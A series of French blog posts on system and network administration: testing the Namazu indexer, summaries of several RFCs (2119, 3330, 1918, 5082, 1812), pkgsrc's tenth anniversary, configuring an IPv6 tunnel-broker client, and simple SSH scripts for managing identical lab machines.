Je cherche un programme simple, pas une usine à gaz nécessitant l'installation et la maintenance de plusieurs composants. Je ne suis pas convaincu de la nécessité d'installer et de maintenir un SGBD juste pour cette tâche. Autrefois, j'utilisais glimpse mais il était non-libre et semble de toute façon avoir complètement disparu, sans mainteneur.

Mes fichiers sont des documents LaTeX, Docbook, des sources de programme en divers langages, uniquement des formats ouverts, a priori relativement faciles à analyser (pas de MS-Word ni même d'obésiciels libres comme OpenOffice).

Je viens de tester Namazu mais c'est un échec. Namazu est un logiciel libre, développé par un programmeur japonais et dont la principale fonction mise en avant est la capacité à bien traiter les textes en japonais, une langue dont j'ignore tout.

Namazu est disponible facilement pour la plupart des systèmes. Sur Ubuntu, par exemple, c'est un paquetage existant. Une fois installé, on programme l'indexation, par exemple quotidienne. J'utilise cron et je crée donc un /etc/cron.daily/index-blog qui indexe, pour tester, une partie de mon disque dur (celle où je garde les fichiers de ce blog). Le fichier index-blog contient :

#!/bin/sh

HOME=/home/stephane

INDEX=$HOME/Index-Blog

if [ ! -d $INDEX ]; then
    mkdir $INDEX
fi

sudo -u stephane mknmz --all \
        --exclude '_darcs|\.(html|txt|tex|ps|pdf|rng|dvi|xml|atom|full_atom|bak)|~' \
        --meta --decode-base64 --check-filesize --output-dir=$INDEX $HOME/Blog

mknmz indexe donc le répertoire tous les jours et il le fait intelligemment. Seuls les nouveaux fichiers sont traités :

Looking for indexing files...
/home/stephane/Blog/RFC/2663-NOT-YET.rfc_xml was updated!
/home/stephane/Blog/RFC/3107-NOT-YET.rfc_xml was updated!
/home/stephane/Blog/RFC/3330.rfc_xml was updated!
/home/stephane/Blog/entries/signaler-a-signal-spam.entry_xml was updated!
/home/stephane/Blog/Makefile was updated!
14 files are found to be indexed.
...

Une fois les fichiers indexés, on peut chercher avec la commande namazu, à qui on doit indiquer le truc qu'on cherche et l'index :

% namazu TRUC ~/Index-Blog
 Total 12 documents matching your query.

1. namazu-NOT-YET.entry_xml (score: 2)
Author: unknown
Date: Sun, 21 Oct 2007 23:34:29 +0000
http://www.namazu.org/ Indexer avec exclusion ? Tester sur horcrux Voir ~/bin/index* namazu TRUC ~/Index-Blog Autre rigolo : % nmzgrep 'DB8' ~/Index-Blog /home/stephane/Blog/entries/registre
/home/stephane/Blog/entries/namazu-NOT-YET.entry_xml (876 bytes)
...

Namazu peut extraire des métadonnées de certains fichiers (comme la date ci-dessus) et permet les recherches via ces métadonnées.

Namazu est livré avec une grande quantité de filtres qui permettent d'analyser de nombreux formats (y compris les RFC). Un des ces filtres lit les courriers au format RFC 2822 et, combiné avec les métadonnées, cela permet de chercher un message par son expéditeur, ici, les messages qui viennent de Bush :

% namazu +from:bush ~/Index-Mail
 Total 3 documents matching your query.
...
2. Re: anycast stability experiment (score: 1)
Author: Randy Bush <randy@psg.com>
Date: Thu, 24 Feb 2005 15:43:36 +0900
we promised to report results. well, there were fun events, such as northern-hemisphere winter holidays etc, which got in the way. but i just presented some *very* preliminary results at the apnic me
/homme/stephane/Mail/system/afnog-2005-02.gz (3,567 bytes)

Une autre commande pratique est nmzgrep qui lance grep sur les fichiers trouvés, donnant ainsi un affichage plus habituel :

% nmzgrep  'DB8' ~/Index-Blog 
/home/stephane/Blog/entries/registre-temps-reel.entry_xml:                                                        'AAAA', '2001:DB8::1035:1');
/home/stephane/Blog/entries/registre-temps-reel.entry_xml:          VALUES (1,'ns1.nic.example','2001:DB8::1035:1','AAAA',120,NULL);
/home/stephane/Blog/RFC/3849.rfc_xml:<computer>2001:DB8::/32</computer> a été réservé et que les adresses
/home/stephane/Blog/RFC/5006.rfc_xml:<computer>2001:DB8:BEEF:42::/64</computer>). Le routeur diffuse ses
...

Mais Namazu ne semble pas encore très au point. Le nombre de bogues et le trafic quasi-nul sur la liste de diffusion semble indiquer que le logiciel n'a pas une communauté d'utilisateurs. Certains bogues sont vraiment très visibles, pourtant, comme le fait que, si on met plusieurs options identiques, les premières sont silencieusement ignorées, ou comme le cas de --include, qui prend en argument un nom de fichier et ne produit aucun message d'erreur si le fichier n'existe pas...

Chose plus étonnante, aucun filtre n'existe pour XML... Un de mes fichiers XSL a été pris pour du LaTeX simplement parce que le nom de ce système apparaissait dans un commentaire XML...

Les développeurs répondent bien sur la liste, mais dans un anglais pratiquement illisible. Eh oui, le monde est vaste et Babel est une réalité dès qu'on sort de quelques « élites » mondialisées.

Je continue donc mes recherches, sur d'autres logiciels. J'ai noté les candidats potentiels sur del.icio.us : http://del.icio.us/bortzmeyer/index.


L'article seul

RFC 2119: Key words for use in RFCs to Indicate Requirement Levels

Date de publication du RFC : Mars 1997
Auteur(s) du RFC : Scott Bradner (Harvard University)
Première rédaction de cet article le 6 novembre 2007


Voici un méta-RFC, ne spécifiant aucun protocole, mais donnant des consignes sur la rédaction des autres RFC. Il spécifie les termes à utiliser pour exprimer des règles normatives comme « Le client doit faire ceci... » ou bien « Le serveur doit répondre cela... » de façon à permettre à l'implémenteur d'un protocole de bien discerner ce qui est obligatoire de ce qui ne l'est pas.

Dans ce domaine comme dans beaucoup d'autres, l'IETF est parti d'une situation où tout était informel pour arriver à une situation d'extrême normativité. Les RFC sont écrits en langue naturelle (il n'y a jamais eu de tentative de trouver ou de développer un langage formel pour les spécifications) et cette langue naturelle est souvent bien floue. En l'absence de règles portant sur le langage, les premiers RFC utilisaient parfois des verbes comme must (doit) ou may (peut) de manière imprécise, menant les implémenteurs à des disputes sur le droit à ne pas implémenter tel ou tel aspect de la norme.

D'où ce RFC, qui donne un sens rigoureux à certains mots, et qui les écrit EN MAJUSCULES pour qu'on ne les confonde pas avec leur usage « flou ». Sont ainsi rigoureusement spécifiés :

  • MUST : l'implémentation DOIT agir ainsi,
  • SHOULD : l'implémentation DEVRAIT agir ainsi, sauf raison explicite et bien comprise (SHOULD peut se résumer par « Dans le doute, faites-le »),
  • MAY : l'implémentation PEUT faire ainsi si ça lui chante.

De même, leurs négations comme MUST NOT ou des variantes comme RECOMMENDED sont également définies.

Et voici pourquoi les RFC sont désormais truffés de mots en majuscules. Par exemple, le RFC 2616 contient : The HTTP protocol does not place any a priori limit on the length of a URI. Servers MUST be able to handle the URI of any resource they serve, and SHOULD be able to handle URIs of unbounded length if they provide GET-based forms that could generate such URIs.

Voici aussi pourquoi les groupes de travail de l'IETF passent souvent beaucoup de temps à discuter pour savoir si telle fonction doit être précédée d'un MUST ou d'un SHOULD. En gros, le MUST permet une meilleure interopérabilité (puisque toute mise en œuvre d'un protocole sait exactement à quoi s'attendre) mais contraint davantage, et peut-être excessivement.


Téléchargez le RFC 2119


L'article seul

RFC 3330: Special-Use IPv4 Addresses

Date de publication du RFC : Septembre 2002
Auteur(s) du RFC : IANA
Pour information
Première rédaction de cet article le 6 novembre 2007


Un certain nombre de préfixes IPv4 ont une signification spéciale et ce RFC les documente, pour éviter aux lecteurs de devoir fouiller dans les nombreux RFC originaux. (Il a été remplacé depuis par le RFC 6890.)

Normalement, les préfixes des réseaux IPv4 sont attribués par l'IANA aux RIR qui les allouent ensuite aux LIR (qui sont en général des FAI). Ces allocations et les affectations aux utilisateurs finaux sont enregistrées par les RIR et sont publiquement accessibles via des protocoles comme whois.

Mais certains préfixes sont spéciaux et échappent à ce mécanisme. Ils ont été réservés par tel ou tel RFC et sont donc dispersés à plusieurs endroits. Notre RFC, écrit par l'IANA, rassemble toutes ces réservations en un seul endroit.

Voici quelques exemples de préfixes ainsi documentés :

  • 10.0.0.0/8, réservé pour les adresses privées par le RFC 1918,
  • 192.0.2.0/24, réservé pour la documentation (par exemple pour rédiger des manuels, sans craindre que les adresses IP d'exemple soient utilisées) mais cette liste a été étendue depuis par le RFC 5737,
  • 169.254.0.0/16, réservé pour les adresses locales au lien (cette réservation sera documentée par la suite dans le RFC 3927),
  • Et bien d'autres, énumérés dans la section 2 et résumés dans la 3.

Notre RFC contient aussi des préfixes « normaux », qui ont été réservés à une époque mais ne le sont plus comme 24.0.0.0/8.

Un RFC équivalent existe pour IPv6, le RFC 5156.


Téléchargez le RFC 3330


L'article seul

Dix ans de pkgsrc

Première rédaction de cet article le 5 novembre 2007


Le système de paquetage Unix pkgsrc fête ses dix ans et on peut trouver en ligne plusieurs interviews très intéressants de ses fondateurs et acteurs.

Autrefois, l'ingénieur système Unix faisait tout à la main. Il installait des programmes en tapant make && make install (ou, plus récemment, ./configure && make && make install). Ces programmes compilés et installés localement n'étaient typiquement enregistrés nulle part, ce qui rendait leur mise à jour très compliquée, surtout si l'ingénieur système avait changé entre temps. « Avec quelles options a t-il compilé BIND ? » « Quels sont les programmes qui dépendent de la bibiothèque que je viens de mettre à jour ? »

La solution, très ancienne, a été de développer des systèmes de paquetage. Au minimum, ces systèmes permettent de compiler et/ou installer facilement les programmes (en automatisant le travail de trouver la distribution, la patcher, faire respecter des options globales, comme le fait qu'on veut utiliser IPv6, etc). Ils permettent aussi de garder trace de tous les paquetages, en stockant la liste des paquetages installés et leur dépendance dans une base de données.

Aujourd'hui, à part quelques dinosaures chenus, tous les administrateurs système Unix se servent de tels systèmes de paquetages, qu'ils travaillent au niveau source (avec compilation du paquetage) ou bien au niveau binaire (avec installation d'un paquetage déjà compilé).

L'un de ces système est pkgsrc, conçu à l'origine pour NetBSD, mais qui existe aussi pour d'autres systèmes. pkgsrc fête ses dix ans et c'est l'occasion d'étudier son histoire, son avenir, ses concurrents. Plusieurs interviews passionnants ont été rassemblés en http://www.netbsd.org/gallery/10years.html.

Parmi les innombrables idées mentionnées dans ces interviews, j'ai apprécié le projet pkgjam, où la base de données des paquetages installés sera une base de données relationnelle, interrogeable en SQL ou bien le projet Nix, fondé sur un système de vues qui permet à différents utilisateurs de voir différents jeux de paquetages installés.


L'article seul

RFC 1918: Address Allocation for Private Internets

Date de publication du RFC : Février 1996
Auteur(s) du RFC : Yakov Rekhter (Cisco systems), Robert G. Moskowitz (Chrysler Corporation), Daniel Karrenberg (RIPE NCC), Geert Jan de Groot (RIPE NCC), Eliot Lear (Silicon Graphics)
Première rédaction de cet article le 1 novembre 2007


Depuis longtemps, le manque d'adresses IPv4 se fait sentir. Pour obtenir ces précieuses adresses, il faut remplir de longs documents à envoyer au RIR, ou bien payer son FAI pour une offre « pro » ou n'importe quel autre qualificatif indiquant que, entre autres, on aura d'avantage d'adresses, peut-être un /29 au lieu d'un simple /32 (pour les politiques d'allocation, voir le RFC 7020). D'où la demande pour un stock d'adresses IPv4 privées, non annoncées sur l'Internet et non uniques globalement, mais dans lequel on pourrait piocher à loisir. C'est ce que propose ce RFC, certainement un des plus cités, le "1918" étant devenu synonyme de ressource privée.

Ce RFC est court et pourrait se contenter de lister (section 3) les trois préfixes privés réservés :

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16, certainement le plus utilisé des trois.

Et les bases des RIR, accessibles via whois, reflètent bien cette réservation à l'IANA :

% whois  10.42.0.1                 

OrgName:    Internet Assigned Numbers Authority 
OrgID:      IANA
Address:    4676 Admiralty Way, Suite 330
City:       Marina del Rey
StateProv:  CA
PostalCode: 90292-6695
Country:    US

NetRange:   10.0.0.0 - 10.255.255.255 
CIDR:       10.0.0.0/8 
NetName:    RESERVED-10
NetHandle:  NET-10-0-0-0-1
Parent:     
NetType:    IANA Special Use
NameServer: BLACKHOLE-1.IANA.ORG
NameServer: BLACKHOLE-2.IANA.ORG
Comment:    This block is reserved for special purposes.
Comment:    Please see RFC 1918 for additional information.
Comment:    
RegDate:    
Updated:    2002-09-12
...

Mais l'idée même d'adresses IP privées ne s'est pas imposée sans mal. Un des principes d'architecture de l'Internet est en effet la connectivité de bout en bout. Toute machine peut parler directement à toute autre. C'est l'une des grandes innovations de l'Internet, tous les réseaux concurrents à l'époque (années 1970 et 80) n'envisageaient que des réseaux isolés. Or, s'il existe des adresses privées, elles ne sont pas globalement uniques. Deux machines sur des sites différents peuvent avoir la même adresses 192.168.1.1. Cela remet donc en cause le modèle de base et le prédécesseur de notre RFC, le RFC 1597 avait été fortement critiqué, notamment dans le RFC 1627, intitulé Network 10 Considered Harmful.

Notre RFC détaille donc aussi, dans ses sections 2 et 4, les motivations de ces adresses privées et explique pourquoi on ne peut pas s'en passer.

Si la poussière soulevée par le débat est bien retombée par la suite, c'est parce qu'on envisageait un déploiement rapide d'IPv6 qui règlerait le problème, grâce à son abondance d'adresses. Ce déploiement ne s'étant pas (encore ?) produit, notre RFC et ses adresses privées continuent à bénéficier d'un grand succès.

Ce succès s'étend même à des domaines non prévus, comme la documentation, qui devrait normalement utiliser 192.0.2.0/24 (cf. RFC 5737).

Pourquoi ces trois préfixes-là et pas d'autres ? Pour 10.0.0.0/8 la raison semble connue mais pas pour les autres.

Parfois, ces adresses privées « sortent » même, par accident, du réseau local où elles auraient dû rester confinées, malgré la section 5 du RFC qui explique qu'il ne faut pas le faire. On doit donc prendre soin de les filtrer. Les règles d'ACL d'un coupe-feu commencent souvent par quelque chose du genre (ici, des règles de Netfilter dans le noyau Linux) :

Chain norfc1918 (2 references)
target     prot opt source               destination
rfc1918    all  --  172.16.0.0/12        0.0.0.0/0
rfc1918    all  --  192.168.0.0/16       0.0.0.0/0
rfc1918    all  --  10.0.0.0/8           0.0.0.0/0
...
Chain rfc1918 (6 references)
target     prot opt source               destination
LOG        all  --  0.0.0.0/0            0.0.0.0/0           LOG flags 0 level 6 prefix `Shorewall:rfc1918:DROP:'
DROP       all  --  0.0.0.0/0            0.0.0.0/0

(Dans le cas ci-dessus, les règles sont ajoutées automatiquement par Shorewall.)

De même, un routeur BGP refuse en général de ses pairs des annonces pour ces préfixes (ici, la syntaxe d'IOS) :

! http://www.cymru.com/Bogons/index.html
! Deny any packets from the RFC 1918 netblocks to block
! attacks from commonly spoofed IP addresses.
access-list 2010 remark Anti-bogon ACL
! Bogons
access-list 2010 deny ip 10.0.0.0 0.255.255.255 any log-input
access-list 2010 deny ip 172.16.0.0 0.15.255.255 any log-input
access-list 2010 deny ip 192.168.0.0 0.0.255.255 any log-input

Et le nombre de serveurs DNS faisant des requêtes de type PTR pour ces adresses, et fatiguant ainsi pour rien les serveurs de in-addr.arpa, a nécessité le déploiement d'un système dédié pour les absorber, l'AS112.

Aujourd'hui, le petit réseau local typique a donc presque toujours des adresses tirées du RFC 1918, un routeur NAT et/ou des relais applicatifs et une seule adresse IP publique, attribuée par le FAI.


Téléchargez le RFC 1918


L'article seul

RFC 5082: The Generalized TTL Security Mechanism (GTSM)

Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : V. Gill, J. Heasley, P. Savola, C. Pignataro
Chemin des normes
Première rédaction de cet article le 1 novembre 2007


Ce RFC présente un mécanisme de sécurité appliquable aux protocoles de routage mais aussi à bien d'autres protocoles : il consiste à tester le TTL des paquets entrants.

Dans un protocole comme BGP, authentifier le routeur en face et s'assurer que ce n'est pas un méchant, peut être difficile. Comme deux routeurs BGP sont en général adjacents (situés sur le même lien physique), la technique GTSM est simplement de vérifier le TTL des paquets BGP entrants. Qu'est-ce que le TTL ? C'est simplement un compteur dans le paquet IP qui est décrémenté par chaque routeur traversé. Si le TTL à l'arrivée est de 255 (la valeur maximale possible), c'est qu'aucun routeur n'a été traversé, donc que le paquet provient bien du réseau local.

Notre RFC recommande donc aux routeurs BGP de ne plus envoyer des paquets avec un TTL de zéro (l'ancien comportement, qui permettait de s'assurer que les paquets ne sortent pas du réseau local, les routeurs jettant les paquets de TTL nul) mais avec un TTL de 255, permettant de détecter les attaques venues de l'extérieur.

On notera que le TTL se nomme Hop Limit en IPv6 mais qu'il a la même sémantique (c'est bien un nombre de sauts, pas une durée et c'est le terme de TTL en IPv4 qui est erroné).

GTSM avait à l'origine été spécifié comme protocole « expérimental » dans le RFC 3682. Notre RFC marque l'entrée de ce protocole sur le chemin des normes officielles de l'IETF, met à jour son précédesseur, corrigeant un certain nombre de bogues et simplifiant le protocole (par exemple, il ne peut plus être utilisé entre des machines non-adjacentes, multi-hop scenario).


Téléchargez le RFC 5082


L'article seul

Fonctionnement du client du « tunnel broker » sur Unix

Première rédaction de cet article le 31 octobre 2007
Dernière mise à jour le 25 novembre 2009


Il existe d'innombrables solutions pour connecter un ilôt de machines IPv6 au reste de l'Internet IPv6, même lorsque les fournisseurs sur le trajet sont purement IPv4. Cet article décrit le fonctionnement concret d'une de ces solutions, le tunnel broker.

Le principe du tunnel broker est le suivant : le routeur IPv6 du réseau local négocie avec un serveur de tunnels qui lui indique le préfixe délégué et d'autres caractéristiques du tunnel. Ledit routeur va ensuite encapsuler ses paquets IPv6 dans de l'IPv4 à destination dudit serveur de tunnels, qui sert également de routeur.

Le serveur n'existe apparemment pas en logiciel libre mais il y a plusieurs clients comme tspc ou gw6. Ici, le routeur IPv6 du réseau local est une Debian et se sert du logiciel tspc. Avant de configurer le client, il faut trouver un serveur, il en existe un gratuit à Freenet6 (expliqué plus loin) mais, comme le réseau étudié ici s'inscrivait dans un projet auquel Renater participe, on utilise d'abord le tunnel broker de Renater. Il faut d'abord obtenir un compte auprès de Renater (si on veut un « préfixe de site », un /48, les /64 sont, eux, sans formalité), puis installer tspc (aptitude install tspc).

La configuration se fait dans le fichier /etc/tspc.conf. Voyons les points saillants :

 
# authentication method:
# Valeur par défaut...
auth_method=any

# IPv4 address of the client for its tunnel endpoint:
# Valeur par défaut...
client_v4=auto

# user identification:
# Le compte obtenu auprès du serveur de tunnels
userid=bortzmeyer

# password:
# Non, je ne le montre pas :-)

# Name of the script:
# Valeur par défaut...
template=setup

# 'server' is the tunnel broker identifier
# C'est le serveur indiqué par Renater, réservé à leurs clients ou
# partenaires. Notez le numéro de port, un autre serveur de tunnels
# existe sur cette machine avec un port différent (selon qu'on a un
# compte ou bien qu'on bénéficie du service gratuit, lisez bien la
# documentation de votre fournisseur).
server=tunnel-broker.renater.fr:3654

# retry_delay=time
# Valeur par défaut. Testé, ce service fonctionne bien, même lorsque
# la liaison IPv4 sous-jacente est fragile.
retry_delay=30

# Tunnel encapsulation mode:
# Valeur par défaut...
tunnel_mode=v6anyv4

# Tunnel Interface name:
# Valeur par défaut...
if_tunnel_v6v4=sit1
if_tunnel_v6udpv4=tun

# proxy_client indicates that this client acts as a TSP proxy for
# Valeur par défaut...
proxy_client=no

# Keepalive for v6udpv4 tunnels:
# Valeur par défaut...
keepalive=yes
keepalive_interval=30

# Logging facility uses syslog on Unix platforms
# Ne semble pas fonctionner, tout est apparemment enregistré dans /var/log/tspc.log
syslog_facility=DAEMON
syslog_level=ERR

# Router configuration
# On est routeur pour tout le réseau local, donc :
host_type=router

# prefixlen specifies the required prefix length for the TSP client 
# Pour un routeur, c'est la valeur normale (cf. RFC 3177)
prefixlen=48

# if_prefix is the name of the OS interface that will be configured
#  with the first /64 of the received prefix from the broker and the
#  router advertisement daemon is started to advertise that prefix
#  on the if_prefix interface.
#if_prefix=eth0
if_prefix=dummy0
# Une mention particulière ici. Contrairement à ce qu'on pourrait
# croire, cette mention est obligatoire. Comme nous préférions
# configurer à la main un certain nombre de paramètres, nous indiquons
# quand même une interface, mais "bidon", pour éviter que tspc ne
# modifie les réglages de notre vraie interface, eth0. L'interface
# "bidon" se crée sur Linux avec "modprobe dummy; ifconfig dummy0 up".

# For reverse DNS delegation of the prefix, define the following:
# Pas utilisé.
#dns_server=

Une fois le client lancé (c'est fait automatiquement au démarrage, sinon /etc/init.d/tspc start), on peut voir les interfaces, dummy0 a été configuré par tspc, à partir des informations données par le serveur de tunnels, eth0 a été configurée à la main (via le fichier standard Debian, /etc/network/interfaces) :

dummy0    Lien encap:Ethernet  HWaddr 32:A5:E1:71:37:A3  
          adr inet6: 2001:660:f108::1/64 Scope:Global
          adr inet6: fe80::30a5:e1ff:fe71:37a3/64 Scope:Lien
          UP BROADCAST RUNNING NOARP  MTU:1500  Metric:1
          ...

eth0      Lien encap:Ethernet  HWaddr 00:0C:6E:6E:E5:D4  
          inet adr:82.151.64.129  Bcast:82.151.64.255  Masque:255.255.255.128
          adr inet6: 2001:660:f108:1::1/64 Scope:Global
          adr inet6: fe80::20c:6eff:fe6e:e5d4/64 Scope:Lien
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          ...

sit1      Lien encap:IPv6-dans-IPv4  
          adr inet6: fe80::5297:4081/64 Scope:Lien
          adr inet6: 2001:660:f001:1::d/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP  MTU:1280  Metric:1
          RX packets:1548 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1748 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          RX bytes:520111 (507.9 KiB)  TX bytes:312956 (305.6 KiB)

(L'adresse IPv6 est envoyée par le serveur de tunnels et, avec le service Freenet6, peut changer de temps en temps.) Et le routage IPv6 se passe bien, aussi bien pour le routeur, que pour les autres machines du réseau local (testé avec des adresses IPv6 statiques mais on aurait pu utiliser RA, Router Advertisement).

Le protocole utilisé entre client et serveur de tunnels a fait l'objet d'une normalisation dans le RFC 5572. Le principe est simple : le client envoie ses demandes en XML et le serveur lui renvoie dans le même format les paramètres choisis (il n'y a pas de négociation, c'est à prendre ou à laisser). Voici un exemple de sessions :


# /usr/sbin/tspc -vvvvv
Connecting to server with tcp
Using TSP protocol version 2.0.0
Establishing connection with tunnel broker...
Getting capabilities from server
Connection established
Authenticating bortzmeyer
Using authentification mecanism DIGEST-MD5
Authentication success
Asking for a tunnel
sent: Content-length: 252
<tunnel action="create" type="v6v4" proxy="no">
 <client>
  <address type="ipv4">192.134.7.249</address>
<keepalive interval="30"><address type="ipv6">::</address></keepalive <router>
   <prefix length="48"/>
  </router>
 </client>
</tunnel>
...

Et si cela ne marche pas ? Le client affiche le code d'erreur numérique à trois chiffres et il n'y a plus qu'à regarder dans le document cité plus haut ce qu'ils signifient. Par exemple, 303 est Unsupported tunnel type et se produit lorsqu'on demande à un tunnel broker un service qu'il ne fournit pas.

Pour Freenet6, on va utiliser une machine Gentoo hébergée aux États-Unis (le routeur de la société mère de Freenet6, Hexago, est au Canada). Sur une Gentoo, il n'y a pas de paquetage tspc tout fait, il faut compiler le client. On obtient le source en s'inscrivant sur http://www.go6.net/4105/freenet.asp. Attention, c'est gratuit mais il faut remplir un formulaire où les cases « Je veux recevoir du spam » sont cochées par défaut. Ne pas oublier de les décocher ! Une fois obtenu le source, l'installation (tel que documentée dans le fichier joint, HEX_DC_0005_Gateway6_Client_Guide.pdf) est simple :

% cd tspc-advanced
% make all target=linux
root# make install installdir=/usr/local/gw6c  target=linux

On doit alors configurer le fichier gw6c.conf. Les points saillants sont :

# Obtenus en s'inscrivant
userid=bortzmeyer
passwd=SECRET
...
server=broker.freenet6.net
...
auth_method=any
...
# Il est possible qu'on puisse obtenir un /48 mais je n'ai pas essayé
prefixlen=64
...
# La délégation DNS ne fonctionne pas pour moi. Peut-être n'est-elle
# accessible que si on a au moins un /48 ou bien que si on est un
# client payant ?
dns_server=ns1.bortzmeyer.org:ns2.bortzmeyer.org

Les tunnels sont souvent plus lents que le chemin direct (d'avantage de routeurs, des passerelles entre v4 et v6 surchargées), moins fiables, sans compter les problèmes de MTU. On va donc demander à privilégier l'accès IPv4, ce qui se fait à l'aide du fichier /etc/gai.conf :

# For testing purposes, always use IPv6 for AFNIC    
precedence 2001:660:3003::/48 200
# Otherwise, always prefer IPv4                              
precedence ::ffff:0:0/96  100

Ces règles disent que les adresses IPv6 doivent être privilégiées pour l'accès à l'AFNIC (préférence 200) mais, dans tous les autres cas, on préfère IPv4 (préférence inférieure, 100). Testons avec telnet :

% telnet www.afnic.fr
Trying 2001:660:3003:2::4:20...
Trying 192.134.4.20...
...
% telnet www.kame.net
Trying 203.178.141.194...
Trying 2001:200:0:8002:203:47ff:fea5:3085...

Pour ces deux machines double-pile (v4 et v6), on obtient bien l'ordre attendu.

Pour s'assurer que le démon tspc soit bien lancé au démarrage, on crée un fichier /etc/init.d/freenet6 :


#!/sbin/runscript

opts="start stop check"

depend() {
        use net
}

start() {
        ebegin "Starting IPv6 connection through Freenet6"
        (
             modprobe ipv6
             /usr/local/gw6c/bin/gw6c -f /usr/local/gw6c/etc/gw6c.conf
        )
        eend $?
}

stop() {
        ebegin "Stopping IPv6 connection"
        start-stop-daemon --stop --quiet --exec /usr/local/gw6c/bin/gw6c
        eend $?
}

check(){
        ebegin "Performing Consistency Check"
        killall -IOT gw6c &>/dev/null
        eend $?
}

et on l'installe avec :

# rc-update add freenet6 default

Merci à Simon Muyal pour ses explications et à Mohsen Souissi pour l'aide.


L'article seul

Maintenir plusieurs machines Unix identiques

Première rédaction de cet article le 31 octobre 2007
Dernière mise à jour le 16 janvier 2008


Avec la disponibilité d'Unix pour des machines de bas prix comme les PC, l'ingénieur système a souvent besoin de maintenir N machines Unix identiques ou presque. Si N est de l'ordre de deux ou trois, cela peut encore se faire à la main, mais si N vaut vingt ou cent, cela n'est plus réaliste et il faut automatiser. Je présente ici la solution simpliste mais suffisante que j'utilise pour des salles temporaires, par exemple pour des formations comme les FFTI.

Le problème est connu depuis longtemps, même s'il n'avait pas été anticipé au début d'Unix, lorsqu'il y avait un seul ordinateur pour toute une université. Pour traiter ce problème, plusieurs solutions ont été proposées et la plus connue est certainement un programme très perfectionné, cfengine. cfengine permet de définir des classes de machine et de synchroniser les fichiers de configuration pour chaque classe. Il est très riche et je n'ai jamais eu le courage de l'apprendre. (Un logiciel du même genre est C3, que me recommande Olivier Ricou.)

Ma solution est plus bête et elle repose sur des petits scripts shell simples qui copient des fichiers depuis un maître vers des esclaves (ou bien qui exécutent des commandes sur tous les esclaves). On configure donc à la main une machine et on pousse ensuite sa configuraion vers toutes les autres.

Tous ces scripts lisent leur configuration dans le fichier config-pc dont voici un contenu typique (ici, les quinze machines ont uniquement des adresses IPv6) :

start=131
end=145
prefix=2001:660:F108:1::

Les scripts dépendent de la commande Unix seq pour générer la liste des machines (notez que les différents scripts n'utilisent pas seq de la même manière, pour montrer la variété des possibilités) à partir d'un préfixe, d'un point de départ et d'un point d'arrivée. Cela nécessite donc que les adresses IP soient consécutives (pour une salle de TP, c'est une supposition raisonnable).

Ils utilisent ssh et, pour ne pas taper le mot de passe à chaque fois, il faut, avant tout, configurer les autorisations appropriées sur chaque machine (dans mon cas, en créant le fichier ~root/.ssh/authorized_keys dont le contenu est ma clé publique, que je trouve dans ~/.ssh/id_dsa.pub). Attention aux éventuels problèmes de sécurité que cela peut poser, comme par exemple le fait qu'il faut autoriser root en SSH (directive PermitRootLogin dans sshd.conf). Pour une salle de cours temporaire, ce n'est pas trop grave.

Voici l'utilisation du script copy-each-pc pour copier le fichier (ici /tmp/example) vers le répertoire indiqué (ici /var/tmp) :

% ./copy-each-pc /tmp/example /var/tmp

et le code du script :

#!/bin/sh

. ./config-pc

file=$1
destination=$2

if [ -z "$destination" ]; then
   echo "Usage: $0 file destination"
   exit 1
fi

for host in $(seq -f ${prefix}%g $start $end); do
   echo ""
   echo "Copying \"$file\" to $host:$destination..."
   scp $file root@\[$host\]:$destination
done

Notez les crochets autour de l'adresse IP pour scp, le deux-points étant utilisé également pour séparer l'adresse du répertoire (HTTP a le même problème donc un URL IPv6 ressemble à http://[2001:660:f108:1::1]:8081/, cf. RFC 2732). Ces crochets étant significatifs pour le shell, on doit faire un échappement avec la barre inverse.

Et voici l'utilisation du script for-each-pc, ici pour exécuter la commande date sur tous les PC :

% ./for-each-pc "date"

et le code du script est :

#!/bin/sh

. ./config-pc

command=$1

if [ -z "$command" ]; then
   echo "Usage: $0 command"
   exit 1
fi

for host in $(seq -f ${prefix}%g $start $end); do
   echo ""
   echo "Executing \"$command\" on $host..."
   ssh root@$host $command
done

Prenons maintenant un script un peu plus compliqué, le script v6-only, qui copie sur toutes les machines un fichier interfaces avec l'adresse IPv6 de la machine (oui, DHCP aurait été plus simple, mais moins sûr et il rend les machines dépendantes du serveur DHCP). Ce script est un peu plus compliqué car il copie un fichier dont le contenu dépend de la machine. Il appelle donc sed pour faire un remplacement dans le fichier maître, avant de copier le fichier créé par sed vers la machine :

#!/bin/sh

. ./config-pc

for i in `seq $start $end`; do
    sed "s/TOKEN/$i/" etc/interfaces-v6only > /tmp/interfaces
    echo "Copying to $prefix$i..."
    scp /tmp/interfaces root@\[$prefix$i\]:/etc/network/interfaces
    ssh root@$prefix$i reboot
done

Pour des scripts analogues, Ollivier Robert me suggère Dancer's Shell qui, en outre, permet le parallélisme des requêtes SSH et le contrôle de leur nombre. Olivier Perret propose un script qu'il a écrit, cdist, qui se configure via un fichier de configuration, script dont il précise qu'il est livré sans aucune garantie. Michel Casabona suggère une version parallèle (mon script est purement séquentiel) de ssh, pssh.


L'article seul

RFC 1812: Requirements for IP Version 4 Routers

Date de publication du RFC : Juin 1995
Auteur(s) du RFC : Fred Baker (Cisco Systems)
Chemin des normes
Première rédaction de cet article le 31 octobre 2007


Un RFC de synthèse, qui rassemble tout ce que le fabricant d'un routeur IP doit savoir, parmi tous les RFC dispersés. L'idée était bonne mais, n'ayant jamais été mis à jour, ce RFC contient également pas mal de choses dépassées.

